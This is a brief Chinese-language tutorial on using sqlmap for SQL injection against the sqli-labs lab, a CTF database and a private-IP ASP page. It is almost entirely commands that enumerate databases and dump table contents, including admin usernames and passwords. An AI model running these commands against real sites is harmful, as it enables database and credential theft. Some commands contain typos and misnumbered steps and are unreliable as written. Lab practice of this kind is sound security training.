SQL注入之sqlmap爆破sqli-labs-master
sqlmap是一款爆破mysql資料的神器。這裡我用sqlmap來演示爆破sqli-labs-master的資料庫。
GET型的sqlmap爆破。
1.列舉資料庫:
Python sqlmay.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –dbs;
2.列出資料庫中資料表:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –D security –tables(-D security 指定 爆 security資料庫中的表)
3.列出users表中欄位:python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –tables(可以把資料庫中的所有表都爆出來)
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users --columns
.
4得到欄位裡面的內容:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users -C id,password,username –dump
Post型的sqlmap爆破:首先抓包儲存為aa.txt,然後用sqlmap工具跑結果。Sqlmap語句:
1.首先抓包儲存為aa.txt。
2.Python sqlmap.py -r aa.txt//可以得到什麼資料庫(DBMS:MYSQL)
4. Python sqlmap.py -r aa.txt --current-db//可以得到當前使用的資料庫(資料庫多時,查詢當前使用資料庫)。
3. Python sqlmap.py -r aa.txt –dbs//可以得到有那幾個資料庫,得到資料庫後爆資料庫中存在哪些表
4. Python sqlmap.py -r aa.txt -D skctf_flag(上一步得到的資料庫名) --tables//可以得到skctf_flag資料庫中存在哪幾張表
5. Python sqlmap.py -r aa.txt -D skctf_flag(資料庫名) -T fl4g(上一步得到的表名) –coulmns//爆到資料庫skctf_flag中fl4g表有幾列
6. Python sqlmap.py -r aa.txt -D skctf_flag(資料庫名) -T fl4g(表名) -C skctf_flag(上一步得到的列名) --dump//可以得到列的內容。
7.託庫,直接爆資料庫的內容:Python sqlmap.py -r aa.txt -D skctf_flag–dump//直接爆資料庫的內容。資料庫大的話會有問題。
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --thread 9 //伺服器基本資訊
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --tables --thread 9 //獲取表名 admin
sqlmap.py -u "http://192.168.116.130/shownews.asp?id=58"--columns -T "admin" --thread 9 //獲取列名 username password
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --dump -T"admin" --thread 9 //獲取欄位內容 usernamepassword
sqlmap -u “URL” --current -db 檢視當前資料庫。
Sqlmap -u “URL” -D 資料庫名 –tables 檢視資料庫中的表
Sqlmap -u “URL” -D 資料庫名 –T 表名 –columns 檢視資料庫中的表中的列
Sqlmap -u “URL” -D 資料庫名 –T 表名 –C 列名 --dump 檢視列的內容。